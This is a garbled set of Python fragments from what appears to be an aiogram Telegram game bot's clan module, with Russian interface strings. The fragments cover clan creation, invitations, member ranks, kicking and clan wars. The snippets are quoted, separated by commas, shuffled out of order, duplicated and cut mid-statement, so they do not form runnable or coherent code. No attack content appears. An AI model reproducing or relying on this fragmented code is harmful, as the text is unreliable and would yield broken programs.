ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async def clan_command_handler(message: types.Message, state: FSMContext): user_id", "def clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id if", "}) session.close() return clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first()", "<b>описание</b> для \\n\" \"клана. (макс. 21 символ)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await", "table=tables.ClanMember ) invited_user_table: tables.User = session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(", "@dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id =", ") except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext): data =", "tables, db_api from utils.classes import kb_constructor, timer from sqlalchemy import desc, and_ from", "\"Рекрут\" new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0, clan_units=0, units_donate=0, donate_timer=0 ) session.db.add(new_clan_member)", "tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None], territory_units=[0,", "= re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id: member_id = int(clan_member_id[0]) checked_clan_member:", "keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()),", "{} 💰\".format( 5000 - townhall.money) ) session.close() return clan_msg = await clan_msg.edit_text( text=\"Придумайте", "= session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await", "\".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif accept_invitation: invitation_id = int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first()", "states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id", "await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg }) await callback.answer() session.close()", "tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query(", "checked_clan_member.rank = \"Заместитель\" session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard )", "in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank = \"Старейшина\" elif checked_clan_member.rank ==", "= \"Лидер\" else: rank = \"Рекрут\" new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0,", "message.text[:16] clan_msg = await message.reply( text=\"Придумайте <b>описание</b> для \\n\" \"клана. (макс. 21 символ)\\n\"", "await state.update_data({ \"clan_description\": clan_description, }) keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await message.answer(", "None], clans_rating=[0, 0], colors=[\"blue\", \"red\"] ) session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count),", "callback.data == \"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state =", "= read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else: msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text(", "pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id", "msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async", "kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif kick_member: member_id = int(kick_member[0]) checked_clan_member:", "kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating,", "is not None: new_clan_member = tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit()", "async def clan_command_handler(message: types.Message, state: FSMContext): user_id = message.from_user.id session = db_api.CreateSession() clan_member:", "\"Для создания клана не хватает {} 💰\".format( 5000 - townhall.money) ) session.close() return", "= session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank", "= session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data == \"get_clan_units\": if clan_member.donate_timer != 0: await callback.answer(\"Станет", "int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator == user_id: rank = \"Лидер\"", "buildings.clan_building_lvl == 0: sticker = read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\") await message.answer(", "in emojis: set_emoji_msg: types.Message = data.get(\"set_emoji_msg\") await set_emoji_msg.delete() clan_name = data.get(\"clan_name\") clan_description =", "tables.TownHall).filter_by(user_id=user_id).first() if callback.data == \"create_clan\": if townhall.money >= 5000: townhall.money -= 5000 else:", "kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\") clan_members_msg = await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members),", "clan_msg = await clan_msg.edit_text( text=\"Придумайте <b>название</b> для своего\\n\" \"клана. (макс. 16 символов)\\n\" \"<i>Ответив", "clan in clan_table[:10]: text += \"{}. <b>{}</b> [ <code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name, clan.rating)", "\"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"message_id\": clan_msg.message_id }) await states.Clan.set_name.set() elif", "import exceptions from aiogram.dispatcher import FSMContext from utils.misc.read_file import read_txt_file from utils.db_api import", "keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif kick_member: member_id =", "text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state = \"search\" elif callback.data == \"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\")", "= read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def", "state.reset_state(with_data=True) await state.set_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async", "== \"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def", "import typing import keyboards import states import re import random from loader import", "state.update_data({ \"clan_description\": clan_description, }) keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await message.answer( text=\"Выберите", "None: msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg = await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({", "tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\"", "clan_member.rank != checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text,", "table=tables.ClanMember ) if clan_member_table is None: return if clan_member_table.rank in (\"Лидер\", \"Заместитель\", \"Старейшина\"):", "= [ \"❤\", \"‍🔥\", \"💖\", \"🍩\", \"🌶\", \"💩\", \"💧\", \"🌈\", \"🌞\", \"🌻\", \"🌹\",", "text=msg_text, reply_markup=keyboard ) except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext):", "callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data()", "utils.misc.read_file import read_txt_file from utils.db_api import tables, db_api from utils.classes import kb_constructor, timer", "\"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await clan_msg.edit_text( text=msg_text,", "!= \"Лидер\" and clan_member.rank != checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard()", "int(clan_member_id[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text =", "msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async", "clan_msg.edit_text( text=\"Вы уверены,\\n что хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data == \"yes_leave_clan\":", "session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def set_clan_name(message: types.Message, state: FSMContext): data = await state.get_data()", "read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif callback.data == \"clan_members\": keyboard = kb_constructor.PaginationKeyboard(", "reply_markup=keyboard ) elif accept_invitation: invitation_id = int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if", "session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif", "clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif callback.data == \"leave_clan\": await clan_msg.edit_text( text=\"Вы уверены,\\n что", "FSMContext): data = await state.get_data() user_id = callback.from_user.id emojis = [ \"❤\", \"‍🔥\",", "elif clan_member.clan.state == \"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else:", "= read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer = timer.Timer.set_timer(28800)", "= read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text, ) session.close() return", "= session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер:", "clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg }) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu)", "для \\n\" \"клана. (макс. 21 символ)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({", "\"clan_msg\": clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback: types.CallbackQuery, state: FSMContext): data =", "types from aiogram.dispatcher import filters from aiogram import exceptions from aiogram.dispatcher import FSMContext", "await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state == \"contest\": msg_text = read_txt_file(\"text/clan/contest\") await", "), reply_markup=keyboard ) elif raise_member: member_id = int(raise_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first()", "== \"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else: msg_text =", "@dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id =", "callback.data in emojis: set_emoji_msg: types.Message = data.get(\"set_emoji_msg\") await set_emoji_msg.delete() clan_name = data.get(\"clan_name\") clan_description", "\"Рейтинг: \\n\" \"Лидер: \\n\" \"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif accept_invitation: invitation_id", "random.choice(clans_search) clan_1.state = \"contest\" clan_2.state = \"contest\" new_contest = tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война", "= read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state == \"contest\": msg_text =", "clan_member.clan.state = \"search\" elif callback.data == \"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text,", "tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl == 0: sticker = read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\")", ") session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all()", "await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback: types.CallbackQuery, state: FSMContext): data = await", "(макс. 21 символ)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"clan_name\": clan_name, \"message_id\":", "read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if", "clan_invitation_table.clan.creator == user_id: rank = \"Лидер\" else: rank = \"Рекрут\" new_clan_member = tables.ClanMember(", "\"clan_invitation_msg\": clan_invitation_msg }) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback: types.CallbackQuery, state: FSMContext):", "kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер: \\n\" \"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name),", "await state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") clan_members_msg: types.Message = data.get(\"clan_members_msg\")", "\"🥀\", \"🦄\", \"🐙\", \"🎃\", \"👾\", \"🔱\" ] session = db_api.CreateSession() if callback.data in", "\"Заместитель\" session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif kick_member:", "= await clan_msg.edit_text( text=\"Придумайте <b>название</b> для своего\\n\" \"клана. (макс. 16 символов)\\n\" \"<i>Ответив на", "\"Лидер\"): if checked_clan_member.rank != \"Лидер\" and clan_member.rank != checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard", "session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id", "set_emoji_msg }) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback: types.CallbackQuery, state: FSMContext): data =", "invited_user_table is None or invited_clan_invitation_table is not None: return if (invited_clan_member_table is None)", "from utils.classes import kb_constructor, timer from sqlalchemy import desc, and_ from utils.classes.regexps import", "user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer", "= data.get(\"set_emoji_msg\") await set_emoji_msg.delete() clan_name = data.get(\"clan_name\") clan_description = data.get(\"clan_description\") clan_emoji = callback.data", "clan_msg }) session.close() return clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query(", "⭐ ]\\n\".format(clan_num, clan.name, clan.rating) clan_num += 1 msg_text = read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text),", "async def invite_user_clan_handler(message: types.Message): user_id = message.from_user.id replied_user = message.reply_to_message.from_user session = db_api.CreateSession()", "import filters from aiogram import exceptions from aiogram.dispatcher import FSMContext from utils.misc.read_file import", "user_id=replied_user.id, table=tables.ClanMember ) invited_user_table: tables.User = session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation = session.db.query(", "= session.db.query( tables.Clan).filter(and_( tables.Clan.state == \"search\", tables.Clan.clan_id != clan_member.clan_id)).all() if callback.data == \"clan_war\":", "data.get(\"message_id\"): clan_description = message.text[:21] await state.update_data({ \"clan_description\": clan_description, }) keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard()", "keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await clan_msg.edit_text( text=msg_text, reply_markup=keyboard", "reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state = \"search\" elif callback.data == \"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\") await", "types.Message, state: FSMContext): user_id = message.from_user.id session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query(", "@dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id =", "int(page_move) keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard", "= read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text, ) session.close() return if clan_member is None: msg_text", "reply_markup=keyboard ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext): data", "message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.update_data({", "def set_clan_emoji(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id emojis", "\"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state = \"search\" elif", "\"Лидер: \\n\" \"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif accept_invitation: invitation_id = int(accept_invitation[0])", "tables.User = session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if", "tables.Clan = random.choice(clans_search) clan_1.state = \"contest\" clan_2.state = \"contest\" new_contest = tables.Contest( clan_id_1=clan_1.clan_id,", "tables.ClanMember = session.filter_by_user_id( user_id=user_id, table=tables.ClanMember ) if clan_member_table is None: return if clan_member_table.rank", ") elif raise_member: member_id = int(raise_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank", "clan_member.donate_timer != 0: await callback.answer(\"Станет доступно позже.\") session.close() return msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard", "clan_msg = await message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard", "data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data)", ") if clan_member_table is None: return if clan_member_table.rank in (\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table:", ") await state.update_data({ \"message_id\": clan_msg.message_id }) await states.Clan.set_name.set() elif callback.data == \"clans_rating\": clan_table:", "= read_txt_file(\"text/clan/without_clan\") clan_msg = await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({ \"user_id\": user_id,", "message.reply_to_message.message_id == data.get(\"message_id\"): clan_name = message.text[:16] clan_msg = await message.reply( text=\"Придумайте <b>описание</b> для", "text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif callback.data == \"clan_members\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text =", "0], colors=[\"blue\", \"red\"] ) session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back )", "elif callback.data == \"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state", "invitation_id = int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator == user_id: rank", "clan_member_table.rank in (\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember ) invited_user_table:", "= session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table", ") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback: types.CallbackQuery, state: FSMContext): data =", "(\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember ) invited_user_table: tables.User =", "msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members),", "msg_text = read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard ) elif", "clan_description, }) keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await message.answer( text=\"Выберите <b>логотип</b> вашего", "session = db_api.CreateSession() if callback.data in emojis: set_emoji_msg: types.Message = data.get(\"set_emoji_msg\") await set_emoji_msg.delete()", "units_donate=0, donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы вступили в клан!\") keyboard", "\"set_emoji_msg\": set_emoji_msg }) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback: types.CallbackQuery, state: FSMContext): data", "tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data)", "def clan_menu_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg:", "await state.get_data() user_id = callback.from_user.id if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return", "tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text = read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name,", "callback.data == \"create_clan\": if townhall.money >= 5000: townhall.money -= 5000 else: await callback.answer(", "return clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard =", "tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator == user_id: rank = \"Лидер\" else: rank = \"Рекрут\" new_clan_member", "== \"search\", tables.Clan.clan_id != clan_member.clan_id)).all() if callback.data == \"clan_war\": if clan_member.clan.state == \"search\":", "read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) elif cancel_invitation: invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete()", "reply_markup=keyboards.clan.kb_back ) else: msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif callback.data", "checked_clan_member.rank, ), reply_markup=keyboard ) elif raise_member: member_id = int(raise_member[0]) checked_clan_member: tables.ClanMember = session.db.query(", "text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state == \"contest\": msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count),", "уверены,\\n что хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data == \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete()", "read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members:", "territory_captures=[None, None], clans_rating=[0, 0], colors=[\"blue\", \"red\"] ) session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text(", "elif callback.data == \"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest)", "await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\",", ") session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close() return msg_text", "= db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if", "message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text, ) session.close() return if clan_member is", "callback.data == \"clan_settings\": await callback.answer(\"В разработке...\") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback:", "FSMContext): data = await 